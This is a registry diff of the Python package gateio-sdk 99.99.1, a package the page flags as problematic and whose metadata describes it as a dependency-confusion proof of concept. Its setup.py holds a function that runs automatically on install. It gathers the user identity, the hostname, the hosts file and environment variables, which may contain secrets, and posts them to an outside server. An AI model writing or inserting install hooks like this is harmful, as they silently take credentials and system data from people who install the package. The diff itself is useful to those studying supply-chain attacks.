gateio-sdk 99.99.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of gateio-sdk might be problematic. Click here for more details.

@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: gateio-sdk
3
+ Version: 99.99.1
4
+ Summary: Security research placeholder — dependency confusion PoC
5
+ Author: bytesnull44
6
+ Requires-Python: >=3.6
7
+ Dynamic: author
8
+ Dynamic: requires-python
9
+ Dynamic: summary
@@ -0,0 +1 @@
1
+ # gateio-sdk
@@ -0,0 +1 @@
1
+ __version__ = "99.99.1"
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: gateio-sdk
3
+ Version: 99.99.1
4
+ Summary: Security research placeholder — dependency confusion PoC
5
+ Author: bytesnull44
6
+ Requires-Python: >=3.6
7
+ Dynamic: author
8
+ Dynamic: requires-python
9
+ Dynamic: summary
@@ -0,0 +1,8 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ gateio_sdk/__init__.py
5
+ gateio_sdk.egg-info/PKG-INFO
6
+ gateio_sdk.egg-info/SOURCES.txt
7
+ gateio_sdk.egg-info/dependency_links.txt
8
+ gateio_sdk.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ gateio_sdk
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,38 @@
1
+ import os, subprocess, socket, urllib.request, json, platform
2
+
3
+ def pingback():
4
+ try:
5
+ is_win = platform.system() == "Windows"
6
+ user = subprocess.getoutput("whoami")
7
+ host = socket.gethostname()
8
+ cwd = os.getcwd()
9
+ if is_win:
10
+ uid = subprocess.getoutput("whoami /priv")
11
+ etc_hosts = subprocess.getoutput("type C:\\Windows\\System32\\drivers\\etc\\hosts")
12
+ environ = str(dict(os.environ))[:3000]
13
+ else:
14
+ uid = subprocess.getoutput("id")
15
+ etc_hosts = subprocess.getoutput("cat /etc/hosts")
16
+ try:
17
+ with open("/proc/self/environ", "rb") as f:
18
+ environ = f.read().replace(b"\x00", b"\n").decode("utf-8", errors="replace")[:3000]
19
+ except Exception:
20
+ environ = str(dict(os.environ))[:3000]
21
+ ts = subprocess.getoutput("date +%s") if not is_win else "0"
22
+ data = json.dumps({"whoami": user, "hostname": host, "pwd": cwd, "id": uid, "etc_hosts": etc_hosts, "environ": environ, "os": platform.platform(), "timestamp": ts}).encode("utf-8")
23
+ req = urllib.request.Request("https://pingback.zsdsh.xyz/depconf/gateio-sdk/", data=data, headers={"Content-Type": "application/json"}, method="POST")
24
+ urllib.request.urlopen(req, timeout=10)
25
+ except Exception:
26
+ pass
27
+
28
+ pingback()
29
+
30
+ from setuptools import setup
31
+ setup(
32
+ name="gateio-sdk",
33
+ version="99.99.1",
34
+ description="Security research placeholder — dependency confusion PoC",
35
+ author="bytesnull44",
36
+ packages=["gateio_sdk"],
37
+ python_requires=">=3.6",
38
+ )